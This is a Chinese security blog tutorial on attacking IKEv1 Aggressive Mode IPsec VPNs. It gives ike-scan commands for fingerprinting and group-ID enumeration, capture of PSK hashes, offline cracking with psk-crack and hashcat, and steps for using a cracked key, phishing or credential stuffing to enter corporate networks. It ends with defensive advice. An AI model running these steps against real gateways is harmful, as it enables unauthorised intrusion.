文章总结: 该文档深入解析IPsecVPN安全漏洞,重点剖析IKEv1协议在野蛮模式下的设计缺陷,详细演示如何使用ike-scan工具进行厂商指纹识别、传输集枚举和Backoff时序分析,并系统介绍通过psk-crack对PSK哈希进行离线爆破的全流程。文章指出尽管IKEv2更安全,但企业环境中大量遗留设备仍使用易受攻击的IKEv1协议,为攻击者提供了无需0day即可突破边界的实用路径。 综合评分: 85 文章分类: 漏洞分析,渗透测试,WEB安全,红队,安全工具
【硬核实战】拆解 IPsec VPN 的边界:IKE 协议指纹识别与 PSK 离线爆破全流程
原创
极客零零七 极客零零七
极客零零七
2026年4月28日 07:14 加拿大
在小说阅读器读本章
去阅读
#
导语:企业内网的边界正在消失,但 IPsec VPN 依然是众多大型企业最后的”护城河”。问题在于,这条护城河的守卫开口说话时,连身份、装备、年龄都告诉你了。
本期【极客零零七】把 IPsec VPN 攻击面里最经典也最被低估的一环拆透:从协议层理解 IKE,到用 ike-scan 做隐蔽的厂商指纹识别,再到用 psk-crack 把野蛮模式抓到的 PSK 哈希离线爆破。 这是一条不需要 0day、却能频繁打穿真实企业边界的链路。
01. 协议背景:IPsec 与 IKE 到底在做什么
聊攻击之前,必须把协议讲清楚。否则你看到 ike-scan 的输出只能复制粘贴命令,不知道每个字段在说什么。
IPsec 是一个框架,不是一个协议
很多人以为 IPsec 是某个具体的加密协议,其实它是一整套 IETF 定义的框架,由几个独立部分组成:
IPsec 框架├── ESP (Encapsulating Security Payload) — 负责加密+完整性├── AH(Authentication Header)— 只完整性,不加密(很少单独使用)└── IKE(Internet Key Exchange)—协商密钥、建立 SA
SA (Security Association) = 一份"双方加密通信的合同"内容包括:用什么加密算法、用什么哈希、共享什么密钥、有效期多久
ESP 和 AH 走的是 IP 层(协议号 50/51),不走端口。真正暴露在 UDP 端口上的是 IKE——所有攻防的入口都在这里。
IKE 的两个阶段
IKE 本身分两阶段,理解这个分层是后面所有攻击的基础:
Phase 1(ISAKMP SA)├─ 目的:双方互相鉴权 + 建立一条加密信道├─ 结果:拿到一个 ISAKMP SA,后面所有协商都在这条信道里跑└─ 模式: ├─ Main Mode (主模式) :6 个消息,身份信息加密传输 └─ Aggressive Mode (野蛮模式):3 个消息,身份信息部分明文 ← 攻击重点
Phase 2(IPsec SA)├─ 目的:协商真正用于业务数据加密的 SA├─ 必须在 Phase 1 建立的加密信道里完成└─ 模式:Quick Mode
野蛮模式之所以叫”野蛮”,是因为它把 6 个消息压缩成 3 个,代价是把响应方的身份哈希直接发在第二个消息里。这个哈希是:
HASH_R = PRF(SKEYID, g^xr | g^xi | CKY-R | CKY-I | SAi_b | IDir_b)
里面用到了 PSK(通过 SKEYID 派生)。攻击者只要被动监听或主动诱导一次握手,就能把这个哈希拿走,离线慢慢爆。这就是后面 psk-crack 要干的事。
IKEv1 vs IKEv2
特性 IKEv1 IKEv2握手消息数 9(Main+Quick) 4野蛮模式 有←漏洞重灾区 没有,从协议层就消除NAT 穿透需要扩展 原生支持EAP 认证不原生 原生状态机复杂度 高,实现bug多 简化
实战观察:尽管 IKEv2 早在 2005 年就出了 RFC(4306),但是国内大量企业 VPN 还在跑 IKEv1,特别是老旧的 Cisco ASA、华为 USG 系列、还有某些品牌的 SSL VPN 设备的 IPsec 兼容模式。这是攻击面持续存在的根本原因。
02. 主动发现:ike-scan 的多种姿势
ike-scan 是 Roy Hills(NTA Monitor)写的老牌工具,2003 年发布到现在依然是 IKE 攻防的事实标准。比起 nmap,它直接说 IKE 协议方言,能问出 nmap 问不出的东西。
安装与基本用法
# Kali / Debian / Ubuntusudo apt install ike-scan
# 验证安装ike-scan --version
ike-scan 必须以 root 运行,因为它要直接发 UDP/500(特权端口源)。
2.1 主机发现:找出活着的 IKE 服务
最朴素的扫描:
sudo ike-scan -M 192.168.100.1
-M 让输出多行展开,更易读。返回示例:
Starting ike-scan 1.9.5 with 1 hosts192.168.100.1 Main Mode Handshake returned HDR=(CKY-R=8a4f1c2b...) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4f45757b8c3e9... (Cisco ASA)
只要看到 Main Mode Handshake returned 或 Aggressive Mode Handshake returned,就说明端口活着、协议在跑。这比 nmap 的 open|filtered 准确得多。
2.2 网段扫描
发现内网中所有 IPsec 网关:
sudo ike-scan -M 10.0.0.0/24sudo ike-scan -M --retry=1 --timeout=500 10.0.0.0/24 # 加快速度
注意:UDP 没有连接概念,扫描结果可能因丢包而漏报,建议跑 2-3 遍交叉验证。
2.3 传输集(Transform)枚举
IKE 协商时,发起方会列出”我能接受的加密套件清单”,响应方挑一个回复。默认情况下 ike-scan 只发 8 个最常见的组合——如果服务器配置了非默认套件,会被误判为”无响应”。
强制枚举所有可能组合:
# 暴力枚举常见 transform 组合sudo ike-scan -M --trans="5,2,1,2" 192.168.100.1 # 3DES/SHA1/PSK/MODP1024sudo ike-scan -M --trans="7/256,2,1,5" 192.168.100.1 # AES-256/SHA1/PSK/MODP1536
# 用脚本批量跑:for enc in 1 5 7/128 7/192 7/256; do for hash in 1 2; do for auth in 1 3 64221 65001; do for group in 1 2 5 14; do sudo ike-scan -M --trans="$enc,$hash,$auth,$group" 192.168.100.1 \ | grep -A1 "returned" done done donedone
参数对应表(背一下,攻防都用得着):
Encryption: 1=DES 5=3DES 7=AES (后跟密钥长度)Hash: 1=MD52=SHA14=SHA2565=SHA3846=SHA512Auth: 1=PSK 3=RSA-Sig 64221=Hybrid 65001=XAUTHGroup: 1=MODP768 2=MODP1024 5=MODP1536 14=MODP2048
红队价值:服务器接受的 transform 集合本身就是指纹——只有 Cisco 默认接受 hybrid(64221),只有少数厂商接受 XAUTH-PSK(65001)。
2.4 Vendor ID 指纹识别
每个 IKE 实现都会在握手时塞一个 Vendor ID(VID)payload。ike-scan 自带一份 VID 数据库,能直接告诉你对面是什么货:
sudo ike-scan -M --showbackoff 192.168.100.1
输出里会有:
VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
逐条解读:
- 前两条
Cisco Unity+Dead Peer Detection:99% 是 Cisco 设备 - IKE Fragmentation:暗示设备处理大包能力,多见于 Cisco/Juniper
- RFC 3947 NAT-T:支持标准 NAT 穿透
不同厂商的”VID 指纹组合”几乎是唯一的,比 banner grabbing 还稳。
2.5 Backoff 指纹识别(杀手锏)
更阴的一招:backoff fingerprinting。
原理是这样:当 IKE 服务器没收到回复时,会按照各自实现的特定时序重发。Cisco、Juniper、StrongSwan、Fortinet 的重发间隔模式(比如”4s, 8s, 16s, 32s”还是”6s, 12s, 24s”)都不同。ike-scan 故意不回 ACK,记录服务器的重发时序,对比内置指纹库:
sudo ike-scan -M --showbackoff 192.168.100.1
末尾会输出:
IKE Backoff Patterns:
IP AddressNo.RecvtimeDelta Time192.168.100.1 11714234567.1234560.000000192.168.100.1 21714234571.4567894.333333192.168.100.1 31714234579.7890128.332223...192.168.100.1 Implementation guess: Cisco VPN Concentrator
这套技术的可怕之处:哪怕对方禁用了 VID 上报、刻意伪装协议,backoff 时序是写死在内核的 retransmission timer 里的,几乎没法隐藏。
03. 野蛮模式利用:抓 PSK 哈希
到这里,假设你已经识别出目标是 IKEv1 + 支持 Aggressive Mode + 用 PSK 认证。这是攻击的最佳剧本。
3.1 探测是否启用野蛮模式
sudo ike-scan -A -M 192.168.100.1
-A 强制野蛮模式。如果服务器返回 Aggressive Mode Handshake returned,恭喜,进入下一步。
3.2 抓取 PSK 哈希
野蛮模式下,服务器会在第二个消息里带上 HASH_R(用 PSK 派生的密钥计算的哈希)。ike-scan 用 --pskcrack 直接把握手过程序列化成可爆破的格式:
sudo ike-scan -A -P psk_hash.txt --id="vpnuser" 192.168.100.1
参数解释:
-A 使用 Aggressive Mode-P <file> 把抓到的握手内容输出为 psk-crack 格式--id="xxx" 指定客户端 Identity (Group ID) 这个值很关键,不同的groupID可能对应不同 PSK
输出文件 psk_hash.txt 长这样:
192.168.100.1:Main:1:8a4f1c2b...:5e8d2f3a...:0a1b2c3d...:...
每个冒号分隔的字段都是握手过程中的关键参数(CKY-I、CKY-R、SA payload、KE payload、Nonce、ID、HASH_R)。psk-crack 会用这些做暴破时的 KDF 输入。
3.3 Group ID 枚举(很多人会忽略)
如果你不知道目标用的 Group ID(XAUTH 场景下经常需要),可以批量试:
# 准备一个常见 group 名字典cat > groups.txt <<EOFadminadministratorvpnvpnusersemployeesremotedefaultgroup1salesopsEOF
# 批量探测哪些 group 能触发握手响应while read group; do echo "[*] Trying group: $group" sudo ike-scan -A -M --id="$group" 192.168.100.1 \ | grep -q "Handshake returned" && echo "[+] HIT: $group"done < groups.txt
某些设备(典型如 Cisco ASA)对不存在的 group和存在的 group响应方式不同——这就是 group ID 枚举漏洞,可以单独写一篇了。
04. psk-crack:把哈希砸开
psk-crack 是 ike-scan 套件里的离线爆破工具,专门处理 -P 输出的格式。
4.1 字典模式(首选)
psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt
实测在普通 CPU 上跑 rockyou.txt(约 14M 条),10-15 分钟能跑完。命中后输出:
Starting psk-crack [ike-scan 1.9.5] (http://www.nta-monitor.com/tools/ike-scan/)Running in dictionary cracking mode
key "Cisco123!" matches MD5 hash 8a4f1c2b...
Ending psk-crack: 142357 iterations in 12.453 seconds (11432.18 iterations/sec)
4.2 暴力模式
如果字典命中失败,可以上暴破。需要给定字符集和长度:
# 1-8 位、a-z+0-9、暴力穷举psk-crack -B 8 --charset="abcdefghijklmnopqrstuvwxyz0123456789" psk_hash.txt
注意:暴力模式在 7 位以上的搜索空间会非常慢,单核 CPU 一秒只有 ~10K iterations。真实场景下 90% 靠字典+规则变形,纯暴破基本只用于 ≤6 位短密码兜底。
4.3 与 Hashcat 协同(性能党必看)
psk-crack 不支持 GPU。如果有显卡,导出哈希给 hashcat:
# Hashcat 模式 5300 = IKE-PSK MD5# Hashcat 模式 5400 = IKE-PSK SHA1hashcat -m 5300 psk_hash.txt /usr/share/wordlists/rockyou.txt
# 加规则集,提高命中率hashcat -m 5300 -r /usr/share/hashcat/rules/best64.rule \ psk_hash.txt rockyou.txt
单张 RTX 4090 跑 IKE-PSK 大约能到 1-2 GH/s,比 psk-crack 快 5-6 个数量级。企业环境的 PSK 通常是「公司名+年份+!」「员工编号+品牌名」这种弱密码,规则攻击命中率惊人。
4.4 拿到 PSK 之后
PSK 不等于 VPN 接入凭据,它是”加入这个 VPN tunnel 群组”的密钥。拿到 PSK 后还需要:
1、 配置 IKE 客户端(strongSwan / VPNC) - PSK = 刚爆出来的密码 - Group ID = 之前枚举到的有效 group - 服务器地址、加密套件填好
2、 触发 Phase 1 + Phase 2 完整握手
3、 通常服务器还会要求 XAUTH(用户名+密码二次认证) - 这一步可以用之前从其他渠道收集的凭据撞库 - 或者通过 phishing 拿到合法用户凭据
4、 拨入成功后进入企业内网,作为后续横向移动起点
PSK 本身是”前置门票”——能不能进门还要看后面的认证强度。但很多老旧部署只用 PSK 不用 XAUTH,这种场景下爆破 PSK 就直接接管了 VPN。
05. 防守视角
把攻击面讲完,防守动作就明显了:
1、 彻底禁用 IKEv1 Aggressive Mode - Cisco ASA: crypto isakmp aggressive-mode disable - StrongSwan: charon.i_dont_care_about_security_and_use_aggressive_mode_psk = no - 不修不补,永远在裸奔
2、 全面迁移到 IKEv2 - 协议层就没有野蛮模式 - 抗 DoS、NAT 穿透原生支持 - 老设备如果不支持 IKEv2,应该列入退役计划
3、 PSK → 证书认证 - PSK 共享密钥模型本身就是反零信任的 - 改 X.509 + 客户端证书 + EAP
4、 限制 UDP/500、UDP/4500 的源 IP - 如果是 site-to-site,固定对端 IP 白名单 - 如果是 client VPN,配合地理围栏 / 设备指纹
5、 监控异常 IKE 流量 - 短时间内大量来自单一 IP 的不同 transform 协商请求 = ike-scan transform 枚举特征 - 大量针对不同 Group ID 的握手失败 = group ID 暴破特征 - 收到 Aggressive Mode 请求但本端配置不支持 = 攻击者主动诱导特征
极客点评: IKE 是个 1998 年的协议,野蛮模式更是早在 2002 年就被业界判过死刑。但二十多年过去了,今天用 ike-scan 在企业边界扫一圈,依然能批量发现 Aggressive Mode + PSK 的部署。这不是技术问题,是运维换代的成本问题——老配置在能跑就别动的惯性下,一个 1998 年的协议漏洞,被一茬一茬的攻击者吃了二十多年。
欢迎持续关注【极客零零七】,我们只分享最硬核的攻防技术。
回复「提权」获取 Windows + Linux 提权速查表 回复「AD攻击」AD 域渗透攻击手册
参考资料
- https://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide
- https://www.verylazytech.com/network-pentesting/ipsec-ike-vpn-port-500-udp
- https://angelica.gitbook.io/hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting
- https://medium.com/@subidhapandey702/expressway-walkthrough-031373f67ceb
- RFC 2409 (IKEv1) / RFC 4306 (IKEv2)
往期推荐
[技术深浅] AD域渗透攻击链全解
从网线到域控:一次完整AD渗透的全流程复盘
AD攻击武器库:从侦察到持久化,每个阶段该用什么工具
被遗忘的攻击面:AD CS证书服务攻击完全指南(ESC1-ESC11)
AD委派攻击三部曲:从非约束委派到RBCD,一条被低估的域控攻击路径
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:极客零零七 极客零零七 极客零零七《【硬核实战】拆解 IPsec VPN 的边界:IKE 协议指纹识别与 PSK 离线爆破全流程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论